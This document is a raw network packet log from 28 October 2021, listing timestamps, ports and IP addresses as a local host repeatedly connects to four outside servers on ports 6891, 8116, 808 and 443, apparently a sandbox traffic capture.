Oct 28, 2021 05:05:29.264842987 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:29.265307903 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.265479088 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.267685890 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.268162012 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.271881104 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.271991968 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.321160078 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.321204901 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.321338892 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.321907043 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.321932077 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.438921928 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.438937902 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.808892012 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.808979988 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.810481071 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.810506105 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.817868948 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.817898035 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.818046093 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:29.818058968 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:29.821346045 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.821368933 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.821440935 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.821468115 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.827102900 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.956234932 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:29.993618965 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:30.015994072 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.016282082 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.115226984 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.174987078 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.175019026 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.175194025 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.175586939 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.194401979 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.194504976 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.253930092 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.423480988 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.423505068 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.423669100 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.423713923 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.427706003 CEST	49996	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:30.487030983 CEST	8116	49996	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:30.508003950 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:30.508086920 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:30.508116007 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.508145094 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.514158010 CEST	49995	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.514205933 CEST	443	49995	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:30.565990925 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.566039085 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:30.566131115 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.567116976 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:30.567140102 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:30.710707903 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:30.871615887 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:30.871881008 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.083766937 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.083996058 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:31.236901999 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.237999916 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:31.238018036 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.241908073 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:31.241925001 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.242007017 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:31.242021084 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.397527933 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.397648096 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.397726059 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.399272919 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.402048111 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.402168036 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.560637951 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.562793016 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.562808037 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.562819004 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.562829971 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.942229033 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.942275047 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:31.942415953 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.942454100 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:31.950102091 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.950198889 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:31.950417995 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:32.767272949 CEST	49998	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:32.779057026 CEST	49997	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:32.779088020 CEST	443	49997	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:32.884721994 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:32.913739920 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:32.927943945 CEST	808	49998	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.051382065 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.051546097 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.052028894 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.071938038 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.072124004 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.072716951 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.218539000 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.218564034 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.218703032 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.219481945 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.226361036 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.226571083 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.231198072 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.231220961 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.232736111 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.233269930 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.237968922 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.238127947 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.391655922 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.393418074 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.393460989 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.393488884 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.396476030 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.396514893 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.396534920 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.396560907 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.776418924 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.776444912 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.776607990 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.781821966 CEST	50000	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:33.789676905 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.789704084 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.789773941 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.789830923 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.798151016 CEST	49999	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.902224064 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:33.915016890 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:33.939966917 CEST	808	50000	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:33.964767933 CEST	6891	49999	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:33.967616081 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:33.967711926 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:33.968677998 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.021131992 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.021481991 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.021570921 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.022219896 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.026119947 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.026281118 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.067617893 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.067740917 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.068898916 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.078634024 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.078984976 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.234213114 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.234255075 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.234374046 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.235152960 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.242484093 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.242676020 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.250372887 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.250417948 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.250605106 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.256447077 CEST	50002	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.308979034 CEST	8116	50002	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.367660046 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.367729902 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.367930889 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.368674994 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.368711948 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.407924891 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.407952070 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.407969952 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.794820070 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.794847012 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.795030117 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.795049906 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.797765017 CEST	50001	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:34.891051054 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.891284943 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.892117977 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.892133951 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.899354935 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.899375916 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.899580956 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:34.899595976 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:34.920594931 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.963139057 CEST	6891	50001	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:34.988492012 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:34.988689899 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:34.990695953 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.051207066 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.051549911 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.051647902 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.053509951 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.059524059 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.059731960 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.120215893 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.120429039 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.304825068 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.304908037 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.304920912 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.304961920 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.307622910 CEST	50004	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:35.368036032 CEST	8116	50004	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:35.429141998 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.429181099 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.429269075 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.429812908 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.429832935 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.609883070 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.609963894 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.610045910 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.610068083 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.615240097 CEST	50003	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.615269899 CEST	443	50003	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.797993898 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:35.945624113 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.945703030 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.946310043 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.946322918 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.950994015 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.951016903 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.951124907 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:35.951137066 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:35.965570927 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:35.965775013 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:35.966584921 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.134021997 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.134174109 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.134351969 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.135261059 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.143106937 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.143234968 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.303010941 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.310472012 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.310514927 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.310523033 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.310530901 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.310538054 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.661190033 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:36.661286116 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:36.661495924 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:36.667665958 CEST	50005	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:36.667710066 CEST	443	50005	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:36.687226057 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.687253952 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.687406063 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.687438965 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.695024014 CEST	50006	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.809083939 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:36.840780020 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:36.862452030 CEST	808	50006	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:36.975465059 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:36.975714922 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:36.976521015 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.006495953 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.006803989 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.008249998 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.142815113 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.142842054 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.143209934 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.143754959 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.148108959 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.148248911 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.173873901 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.173979044 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.174204111 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.174590111 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.178379059 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.178492069 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.314481974 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.314511061 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.340025902 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.343806028 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.343941927 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.693378925 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.693402052 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.693501949 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.693566084 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.702507019 CEST	50007	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.731954098 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.731977940 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.732160091 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.732203007 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.736001015 CEST	50008	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:37.820995092 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.869251966 CEST	6891	50007	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:37.869787931 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:37.869877100 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.870546103 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.873449087 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:37.901685953 CEST	808	50008	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:37.918956041 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:37.919229031 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:37.919306040 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.919893980 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.923738956 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.923871040 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:37.974271059 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:37.974525928 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.038929939 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.039024115 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.039740086 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.143493891 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.143518925 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.143651009 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.143675089 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.150362015 CEST	50009	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.199022055 CEST	8116	50009	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.205101967 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.205360889 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.205461025 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.206017971 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.210321903 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.210472107 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.259753942 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.259805918 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.260011911 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.260627031 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.260653973 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.375796080 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.375818968 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.375829935 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.760051012 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.760103941 CEST	6891	50010	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:38.760379076 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.763318062 CEST	50010	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:38.785269022 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.785387039 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.786173105 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.786190033 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.791742086 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.791776896 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.791840076 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:38.791851997 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:38.884121895 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.928828955 CEST	6891	50010	45.77.0.96	192.168.2.3
